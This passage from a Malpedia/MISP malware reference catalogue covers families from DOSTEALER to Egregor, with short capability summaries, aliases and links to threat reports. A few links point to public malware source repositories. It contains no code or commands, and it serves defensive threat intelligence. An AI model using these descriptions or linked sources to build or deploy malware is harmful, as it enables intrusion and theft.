<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.dosia">https://malpedia.caad.fkie.fraunhofer.de/details/win.dosia</a></td>
</tr>
<tr>
<td><a href="https://viuleenz.github.io/posts/2023/05/extracting-ddosia-targets-from-process-memory/">https://viuleenz.github.io/posts/2023/05/extracting-ddosia-targets-from-process-memory/</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@b42labs/data-insights-from-russian-cyber-militants-noname057-9f4db98f60e">https://medium.com/@b42labs/data-insights-from-russian-cyber-militants-noname057-9f4db98f60e</a></td>
</tr>
<tr>
<td><a href="https://noname.be42late.co/">https://noname.be42late.co/</a></td>
</tr>
<tr>
<td><a href="https://blog.sekoia.io/following-noname05716-ddosia-projects-targets/">https://blog.sekoia.io/following-noname05716-ddosia-projects-targets/</a></td>
</tr>
<tr>
<td><a href="https://www.team-cymru.com/post/a-blog-with-noname">https://www.team-cymru.com/post/a-blog-with-noname</a></td>
</tr>
<tr>
<td><a href="https://www.sentinelone.com/labs/noname05716-the-pro-russian-hacktivist-group-targeting-nato/">https://www.sentinelone.com/labs/noname05716-the-pro-russian-hacktivist-group-targeting-nato/</a></td>
</tr>
</tbody>
</table>

DOSTEALER

According to Mandiant, DOSTEALER is a dataminer that mines browser login and cookie data. It is also capable of taking screenshots and logging keystrokes.

The tag is: misp-galaxy:malpedia="DOSTEALER"

DOSTEALER is also known as:

Table 2933. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.dostealer">https://malpedia.caad.fkie.fraunhofer.de/details/win.dostealer</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/media/17826">https://www.mandiant.com/media/17826</a></td>
</tr>
</tbody>
</table>

Dot Ransomware

The tag is: misp-galaxy:malpedia="Dot Ransomware"

Dot Ransomware is also known as:

- MZP Ransomware

Table 2934. Table References
DOUBLEBACK

DOUBLEBACK is a newly discovered fileless malware deployed as part of an attack campaign that took place in December 2020. The threat actors responsible for the operations are tracked as UNC2529 by researchers. According to their findings, DOUBLEBACK is the final payload delivered onto the compromised systems. Its task is to establish and maintain a backdoor on the victim's machine.

The tag is: misp-galaxy:malpedia="DOUBLEBACK"

DOUBLEBACK is also known as:

Table 2935. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.doubleback">https://malpedia.caad.fkie.fraunhofer.de/details/win.doubleback</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html">https://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html</a></td>
</tr>
<tr>
<td><a href="https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/">https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/</a></td>
</tr>
</tbody>
</table>

DoubleFantasy (Windows)

The tag is: misp-galaxy:malpedia="DoubleFantasy (Windows)"

DoubleFantasy (Windows) is also known as:

• VALIDATOR

Table 2936. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.doublefantasy">https://malpedia.caad.fkie.fraunhofer.de/details/win.doublefantasy</a></td>
</tr>
<tr>
<td><a href="https://fmnagisa.wordpress.com/2020/08/27/revisiting-equationgroups-fanny-worm-or-dementiawheel/">https://fmnagisa.wordpress.com/2020/08/27/revisiting-equationgroups-fanny-worm-or-dementiawheel/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Int2e_/status/1294565186939092994">https://twitter.com/Int2e_/status/1294565186939092994</a></td>
</tr>
</tbody>
</table>

DoubleFinger

The tag is: misp-galaxy:malpedia="DoubleFinger"
DoubleFinger is also known as:

Table 2937. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.doublefinger">https://malpedia.caad.fkie.fraunhofer.de/details/win.doublefinger</a></td>
</tr>
</tbody>
</table>

**DoublePulsar**

The tag is: *misp-galaxy:malpedia=*"DoublePulsar"

DoublePulsar is also known as:

Table 2938. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.doublepulsar">https://malpedia.caad.fkie.fraunhofer.de/details/win.doublepulsar</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/">https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/</a></td>
</tr>
<tr>
<td><a href="https://www.symantec.com/blogs/threat-intelligence/buckeye-windows-zero-day-exploit">https://www.symantec.com/blogs/threat-intelligence/buckeye-windows-zero-day-exploit</a></td>
</tr>
<tr>
<td><a href="https://github.com/countercept/doublepulsar-c2-traffic-decryptor">https://github.com/countercept/doublepulsar-c2-traffic-decryptor</a></td>
</tr>
</tbody>
</table>

**DoubleZero**

A wiper identified by CERT-UA on March 17th, written in C#.

The tag is: *misp-galaxy:malpedia=*"DoubleZero"

DoubleZero is also known as:

• FiberLake

Table 2939. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.doublezero">https://malpedia.caad.fkie.fraunhofer.de/details/win.doublezero</a></td>
</tr>
<tr>
<td><a href="https://www.nextgov.com/cybersecurity/2022/03/ukrainian-cyber-lead-least-4-types-malware-are-targeting-ukrainian-institutions/363558/">https://www.nextgov.com/cybersecurity/2022/03/ukrainian-cyber-lead-least-4-types-malware-are-targeting-ukrainian-institutions/363558/</a></td>
</tr>
<tr>
<td><a href="https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/">https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/</a></td>
</tr>
<tr>
<td><a href="https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-doublezero">https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-doublezero</a></td>
</tr>
</tbody>
</table>
Downdelph

The tag is: `misp-galaxy:malpedia="Downdelph"`

Downdelph is also known as:

- DELPHACY

Table 2940. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.downdelph">https://malpedia.caad.fkie.fraunhofer.de/details/win.downdelph</a></td>
</tr>
<tr>
<td><a href="https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html">https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html</a></td>
</tr>
<tr>
<td><a href="https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection">https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection</a></td>
</tr>
<tr>
<td><a href="https://labs.sentinelone.com/a-deep-dive-into-zebrocys-dropper-docs/">https://labs.sentinelone.com/a-deep-dive-into-zebrocys-dropper-docs/</a></td>
</tr>
</tbody>
</table>

Downeks

The tag is: `misp-galaxy:malpedia="Downeks"`

Downeks is also known as:
**DownPaper**

DownPaper, sometimes delivered as sami.exe, is a Backdoor trojan. Its main functionality is to download and run a second stage. This malware has been observed in campaigns involving Charming Kitten, an Iranian cyberespionage group.

The tag is: `misp-galaxy:malpedia="DownPaper"`

DownPaper is also known as:

**DramNudge**

The tag is: `misp-galaxy:malpedia="DramNudge"`

DramNudge is also known as:

**DRATzarus**

The tag is: `misp-galaxy:malpedia="DRATzarus"`

DRATzarus is also known as:

- ThreatNeedle
**DreamBot**

2010 Gozi v2.0, Gozi ISFB, ISFB, Pandemyia(*) 2014 Dreambot (Gozi ISFB variant)

In 2014, a variant of Gozi ISFB was developed. Mainly, the dropper performs additional anti-vm checks (vmware, vbox, qemu), while the actual bot-dll remains unchanged in most parts. New functionality, such as TOR support, was added though and often, the Fluxxy fast-flux network is used.

See win.gozi for additional historical information.

The tag is: `misp-galaxy:malpedia="DreamBot"

DreamBot is also known as:

*Table 2945. Table References*

---

**Dridex**

OxCERT blog describes Dridex as "an evasive, information-stealing malware variant; its goal is to acquire as many credentials as possible and return them via an encrypted tunnel to a Command-and-Control (C&C) server. These C&C servers are numerous and scattered all over the Internet, if
the malware cannot reach one server it will try another. For this reason, network-based measures such as blocking the C&C IPs is effective only in the short-term." According to MalwareBytes, "Dridex uses an older tactic of infection by attaching a Word document that utilizes macros to install malware. However, once new versions of Microsoft Office came out and users generally updated, such a threat subsided because it was no longer simple to infect a user with this method." IBM X-Force discovered "a new version of the Dridex banking Trojan that takes advantage of a code injection technique called AtomBombing to infect systems. AtomBombing is a technique for injecting malicious code into the 'atom tables' that almost all versions of Windows uses to store certain application data. It is a variation of typical code injection attacks that take advantage of input validation errors to insert and to execute malicious code in a legitimate process or application. Dridex v4 is the first malware that uses the AtomBombing process to try and infect systems."

The tag is: *misp-galaxy:malpedia="Dridex"

Dridex is also known as:

*Table 2946. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.dridex">https://malpedia.caad.fkie.fraunhofer.de/details/win.dridex</a></td>
</tr>
<tr>
<td><a href="https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/">https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions">https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions</a></td>
</tr>
<tr>
<td><a href="https://securityintelligence.com/posts/raspberry-robin-worm-dridex-malware/">https://securityintelligence.com/posts/raspberry-robin-worm-dridex-malware/</a></td>
</tr>
<tr>
<td><a href="https://thedfirreport.com/2020/08/03/dridex-from-word-to-domain-dominance/">https://thedfirreport.com/2020/08/03/dridex-from-word-to-domain-dominance/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group">https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group</a></td>
</tr>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Maksim_Yakubets">https://en.wikipedia.org/wiki/Maksim_Yakubets</a></td>
</tr>
<tr>
<td><a href="https://medium.com/s2wlab/operation-synctrek-e5013df8d167">https://medium.com/s2wlab/operation-synctrek-e5013df8d167</a></td>
</tr>
<tr>
<td><a href="https://medium.com/walmartglobaltech/wastedloader-or-dridexloader-4f47c9b3ae77">https://medium.com/walmartglobaltech/wastedloader-or-dridexloader-4f47c9b3ae77</a></td>
</tr>
<tr>
<td><a href="https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/">https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/">https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/</a></td>
</tr>
</tbody>
</table>
https://unit42.paloaltonetworks.com/excel-add-ins-dridex-infection-chain
https://killingthebear.jorgetesta.tech/actors/evil-corp
https://unit42.paloaltonetworks.com/wireshark-tutorial-decrypting-https-traffic/
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://malcat.fr/blog/cutting-corners-against-a-dridex-downloader/
https://unit42.paloaltonetworks.com/banking-trojan-techniques/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://threatresearch.ext.hp.com/detecting-ta551-domains/
https://blog.lexfo.fr/dridex-malware.html
https://securelist.com/analysis/publications/78531/dridex-a-history-of-evolution/
https://intel471.com/blog/private-loader-malware
https://unit42.paloaltonetworks.com/travel-themed-phishing/
https://intezer.com/blog/intezer-analyze/fantastic-payloads-and-where-we-find-them
https://www.atomicmatryoshka.com/post/malware-headliners-dridex
https://muha2xmad.github.io/unpacking/dridex/
https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/
https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html
<table>
<thead>
<tr>
<th>URL</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://cyber-anubis.github.io/malware%20analysis/dridex/">https://cyber-anubis.github.io/malware%20analysis/dridex/</a></td>
</tr>
<tr>
<td><a href="https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf">https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf</a></td>
</tr>
<tr>
<td><a href="http://www.secureworks.com/research/threat-profiles/gold-drake">http://www.secureworks.com/research/threat-profiles/gold-drake</a></td>
</tr>
<tr>
<td><a href="https://aaqeel01.wordpress.com/2021/02/07/dridex-malware-analysis/">https://aaqeel01.wordpress.com/2021/02/07/dridex-malware-analysis/</a></td>
</tr>
<tr>
<td><a href="https://adalogics.com/blog/the-state-of-advanced-code-injections">https://adalogics.com/blog/the-state-of-advanced-code-injections</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-heron">https://www.secureworks.com/research/threat-profiles/gold-heron</a></td>
</tr>
<tr>
<td><a href="https://krebsonsecurity.com/2019/12/inside-evil-corp-a-100m-cybercrime-menace/">https://krebsonsecurity.com/2019/12/inside-evil-corp-a-100m-cybercrime-menace/</a></td>
</tr>
<tr>
<td><a href="https://www.cert.ssi.gouv.fr/ioc/CERTFR-2020-IOC-003/">https://www.cert.ssi.gouv.fr/ioc/CERTFR-2020-IOC-003/</a></td>
</tr>
<tr>
<td><a href="https://reaqta.com/2020/06/dridex-the-secret-in-a-postmessage/">https://reaqta.com/2020/06/dridex-the-secret-in-a-postmessage/</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=1VB15_HgUkg">https://www.youtube.com/watch?v=1VB15_HgUkg</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/felixw3000/status/1382614469713530883?s=20">https://twitter.com/felixw3000/status/1382614469713530883?s=20</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-drake">https://www.secureworks.com/research/threat-profiles/gold-drake</a></td>
</tr>
<tr>
<td><a href="https://securityintelligence.com/dridexs-cold-war-enter-atombombing/">https://securityintelligence.com/dridexs-cold-war-enter-atombombing/</a></td>
</tr>
<tr>
<td><a href="https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp">https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp</a></td>
</tr>
</tbody>
</table>
**DRIFTPIN**

Driftpin is a small and simple backdoor that enables the attackers to assess the victim. When executed, the trojan connects to a C&C server and receives commands to grab screenshots, enumerate running processes and get information about the system and campaign ID.

The tag is: `misp-galaxy:malpedia="DRIFTPIN"`

**DRIFTPIN** is also known as:

- Spy.Agent.ORM
- Toshliph

*Table 2947. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.driftpin">https://malpedia.caad.fkie.fraunhofer.de/details/win.driftpin</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-niagara">https://www.secureworks.com/research/threat-profiles/gold-niagara</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html">https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html</a></td>
</tr>
</tbody>
</table>
Dripion

The tag is: `misp-galaxy:malpedia="Dripion"`

Dripion is also known as:

- Masson

Table 2948. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.dripion">https://malpedia.caad.fkie.fraunhofer.de/details/win.dripion</a></td>
</tr>
</tbody>
</table>

DriveOcean

Communicates via Google Drive.

The tag is: `misp-galaxy:malpedia="DriveOcean"`

DriveOcean is also known as:

- Google Drive RAT

Table 2949. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.driveocean">https://malpedia.caad.fkie.fraunhofer.de/details/win.driveocean</a></td>
</tr>
</tbody>
</table>

Drokbk

The tag is: `misp-galaxy:malpedia="Drokbk"`

Drokbk is also known as:

Table 2950. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.drokbk">https://malpedia.caad.fkie.fraunhofer.de/details/win.drokbk</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/blog/drokbk-malware-uses-github-as-dead-drop-resolver">https://www.secureworks.com/blog/drokbk-malware-uses-github-as-dead-drop-resolver</a></td>
</tr>
</tbody>
</table>
DropBook

DropBook is a backdoor developed by the Molerats group and first appeared in late 2020. The backdoor abuses Facebook and Dropbox platforms for C2 purposes, where fake Facebook accounts are used by the operators to control the backdoor by posting commands on the accounts.

The tag is: `misp-galaxy:malpedia="DropBook"`

DropBook is also known as:

Table 2951. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.dropbook">https://malpedia.caad.fkie.fraunhofer.de/details/win.dropbook</a></td>
</tr>
</tbody>
</table>

DROPSHOT

The tag is: `misp-galaxy:malpedia="DROPSHOT"`

DROPSHOT is also known as:

Table 2952. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.dropshot">https://malpedia.caad.fkie.fraunhofer.de/details/win.dropshot</a></td>
</tr>
</tbody>
</table>

Dtrack

Dtrack is a Remote Administration Tool (RAT) developed by the Lazarus group. Its core functionality includes operations to upload a file to the victim’s computer, download a file from the victim’s computer, dump disk volume data, persistence and more.

A variant of Dtrack was found on Kudankulam Nuclear Power Plant (KNPP) which was used for a targeted attack.
Dtrack is also known as:

- Preft
- TroyRAT

Table 2953. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.dtrack">https://malpedia.caad.fkie.fraunhofer.de/details/win.dtrack</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ShadowChasing1/status/1399369260577681426?s=20">https://twitter.com/ShadowChasing1/status/1399369260577681426?s=20</a></td>
</tr>
<tr>
<td><a href="https://github.com/jeFF0Falltrades/IoCs/blob/master/APT/dtrack_lazarus_group.md">https://github.com/jeFF0Falltrades/IoCs/blob/master/APT/dtrack_lazarus_group.md</a></td>
</tr>
<tr>
<td><a href="https://blog.macnica.net/blog/2020/11/dtrack.html">https://blog.macnica.net/blog/2020/11/dtrack.html</a></td>
</tr>
<tr>
<td><a href="https://media.defense.gov/2023/Feb/09/2003159161/-1/-1/0/CSA_RANSOMWARE_ATTACKS_ON_CI_FUND_DPRK_ACTIVITIES.PDF">https://media.defense.gov/2023/Feb/09/2003159161/-1/-1/0/CSA_RANSOMWARE_ATTACKS_ON_CI_FUND_DPRK_ACTIVITIES.PDF</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/dtrack-targeting-europe-latin-america/107798/">https://securelist.com/dtrack-targeting-europe-latin-america/107798/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/my-name-is-dtrack/93338/">https://securelist.com/my-name-is-dtrack/93338/</a></td>
</tr>
<tr>
<td><a href="https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf">https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf</a></td>
</tr>
</tbody>
</table>

DualToy (Windows)

The tag is: *misp-galaxy:malpedia="DualToy (Windows)"*

DualToy (Windows) is also known as:

Table 2954. Table References
DarkHotel

The tag is: misp-galaxy:malpedia="DarkHotel"

DarkHotel is also known as:

Table 2955. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/win.dubnium_darkhotel

DUBrute

The tag is: misp-galaxy:malpedia="DUBrute"

DUBrute is also known as:

Table 2956. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/win.dubrute
- https://github.com/ch0sys/DUBrute

DUCKTAIL

According to Tony Lambert, this is a malware written in .NET. It was observed to be delivered using the .NET Single File deployment feature.

The tag is: misp-galaxy:malpedia="DUCKTAIL"

DUCKTAIL is also known as:

Table 2957. Table References

Links
### Dumador

The tag is: `misp-galaxy:malpedia="Dumador"`

Dumador is also known as:

**Table 2958. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.dumador">https://malpedia.caad.fkie.fraunhofer.de/details/win.dumador</a></td>
</tr>
</tbody>
</table>

### DuQu

The tag is: `misp-galaxy:malpedia="DuQu"`

DuQu is also known as:

**Table 2959. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.duqu">https://malpedia.caad.fkie.fraunhofer.de/details/win.duqu</a></td>
</tr>
<tr>
<td><a href="https://docs.broadcom.com/doc/w32-duqu-11-en">https://docs.broadcom.com/doc/w32-duqu-11-en</a></td>
</tr>
<tr>
<td><a href="https://web.archive.org/web/20230416140914if_/http://www.chinaview.cn/20230411/4e0fa0f4fd1d408aaddee8be63a4757_20230411161526_0531.pdf">https://web.archive.org/web/20230416140914if_/http://www.chinaview.cn/20230411/4e0fa0f4fd1d408aaddee8be63a4757_20230411161526_0531.pdf</a></td>
</tr>
<tr>
<td><a href="https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html">https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html</a></td>
</tr>
</tbody>
</table>
In 2019, multiple destructive attacks were observed targeting entities within the Middle East. The National Cyber Security Centre (NCSC), a part of the National Cybersecurity Authority (NCA), detected a new malware named “DUSTMAN” that was detonated on December 29, 2019. Based on analyzed evidence and artifacts found on machines in a victim’s network that were not wiped by the malware, NCSC assess that the threat actor behind the attack had some kind of urgency on executing the files on the date of the attack due to multiple OPSEC failures observed on the infected network. NCSC is calling the malware used in this attack "DUSTMAN" after the filename and string embedded in the malware. "DUSTMAN" can be considered as a new variant of "ZeroCleare" malware, published in December 2019.

The tag is: `misp-galaxy:malpedia="DUSTMAN"`

DUSTMAN is also known as:

Table 2960. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.dustman">https://malpedia.caad.fkie.fraunhofer.de/details/win.dustman</a></td>
</tr>
<tr>
<td><a href="https://swapcontext.blogspot.com/2020/01/dustman-apt-art-of-copy-paste.html">https://swapcontext.blogspot.com/2020/01/dustman-apt-art-of-copy-paste.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Irfan_Asrar/status/1213544175355908096">https://twitter.com/Irfan_Asrar/status/1213544175355908096</a></td>
</tr>
</tbody>
</table>

Duuzer

The tag is: `misp-galaxy:malpedia="Duuzer"`

Duuzer is also known as:

- Escad

Table 2961. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.duuzer">https://malpedia.caad.fkie.fraunhofer.de/details/win.duuzer</a></td>
</tr>
<tr>
<td><a href="https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5b9850b9-0fdd-48a9-b595-9234207ae7df&amp;CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&amp;tab=librarydocuments">https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5b9850b9-0fdd-48a9-b595-9234207ae7df&amp;CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&amp;tab=librarydocuments</a></td>
</tr>
</tbody>
</table>
DYEPACK

The tag is: *misp-galaxy:malpedia="DYEPACK"

DYEPACK is also known as:

- BanSwift
- swift

Table 2962. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.dyepack">https://malpedia.caad.fkie.fraunhofer.de/details/win.dyepack</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/lazarus-under-the-hood/77908/">https://securelist.com/lazarus-under-the-hood/77908/</a></td>
</tr>
<tr>
<td><a href="https://media.ccc.de/v/froscon2021-2670-der_cyber-bankraub_von_bangladesch">https://media.ccc.de/v/froscon2021-2670-der_cyber-bankraub_von_bangladesch</a></td>
</tr>
<tr>
<td><a href="https://content.fireeye.com/apt/rpt-apt38">https://content.fireeye.com/apt/rpt-apt38</a></td>
</tr>
<tr>
<td><a href="https://github.com/649/APT38-DYEPACK">https://github.com/649/APT38-DYEPACK</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/blog/sas/77908/lazarus-under-the-hood/">https://securelist.com/blog/sas/77908/lazarus-under-the-hood/</a></td>
</tr>
</tbody>
</table>

DynamicStealer

Dynamic Stealer is a Github Project C# written code by L1ghtN4n. This code collects passwords and uploads these to Telegram. According to Cyble this Eternity Stealer leverages code from this project and also Jester Stealer could be rebranded from it.

The tag is: *misp-galaxy:malpedia="DynamicStealer"

DynamicStealer is also known as:

Table 2963. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.dynamicstealer">https://malpedia.caad.fkie.fraunhofer.de/details/win.dynamicstealer</a></td>
</tr>
<tr>
<td><a href="https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/">https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/</a></td>
</tr>
</tbody>
</table>
Dyre

The tag is: misp-galaxy:malpedia="Dyre"

Dyre is also known as:

• Dyreza

Table 2964. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.dyre">https://malpedia.caad.fkie.fraunhofer.de/details/win.dyre</a></td>
</tr>
<tr>
<td><a href="http://www.secureworks.com/research/threat-profiles/gold-blackburn">http://www.secureworks.com/research/threat-profiles/gold-blackburn</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/">https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-blackburn">https://www.secureworks.com/research/threat-profiles/gold-blackburn</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/dyre-banking-trojan">https://www.secureworks.com/research/dyre-banking-trojan</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2015/07/dyre_banking_trojan.html">https://www.fireeye.com/blog/threat-research/2015/07/dyre_banking_trojan.html</a></td>
</tr>
<tr>
<td><a href="https://www.forbes.com/sites/thomasbrewster/2017/05/04/dyre-hackers-stealing-millions-from-american-corporates">https://www.forbes.com/sites/thomasbrewster/2017/05/04/dyre-hackers-stealing-millions-from-american-corporates</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group">https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group</a></td>
</tr>
</tbody>
</table>

EagerBee

According to Elastic, EagerBee loads additional capabilities using remotely-downloaded PE files, hosted in C2. However, its implementation and coding practices reveal a lack of advanced skills from the author, relying on basic techniques. During their research, they identified string formatting and underlying behavior that aligns with previous research attributed to a Chinese-speaking threat actor referred to as LuckyMouse (APT27, EmissaryPanda).

The tag is: misp-galaxy:malpedia="EagerBee"

EagerBee is also known as:
EagleMonitorRAT

This RAT written in C# was derived from HorusEyesRat. It was modified by "Arsium" and published on GitHub. There is also a client builder included. Github Source: [https://github.com/arsium/EagleMonitorRAT](https://github.com/arsium/EagleMonitorRAT)

The tag is: `misp-galaxy:malpedia="EagleMonitorRAT"`

EagleMonitorRAT is also known as:

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

EASYNIGHT

FireEye describes EASYNIGHT is a loader observed used with several malware families, including HIGHNOON and HIGHNOON.LITE. The loader often acts as a persistence mechanism via search order hijacking.

Examples include a patched bcrypt.dll with no other modification than an additional import entry, in the observed case "printwin.dll!gzwrite64" (breaking the file signature).

The tag is: `misp-galaxy:malpedia="EASYNIGHT"`

EASYNIGHT is also known as:

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://content.fireeye.com/api/pdfproxy?id=86840">https://content.fireeye.com/api/pdfproxy?id=86840</a></td>
</tr>
</tbody>
</table>

EDA2

The tag is: `misp-galaxy:malpedia="EDA2"`

EDA2 is also known as:
Egregor

According to Heimdal, Egregor ransomware infection happens via a loader, then, in the victim’s firewall, it enables the Remote Desktop Protocol. After this part, the malware is free to move inside the victim’s network, identifying and disabling all the antivirus software it can find. The next step is the encryption of the data and the insertion of a ransom note named “RECOVER-FILES.txt” in all the compromised folders.

The tag is: misp-galaxy:malpedia="Egregor"

Egregor is also known as:

Table 2969. Table References

Links

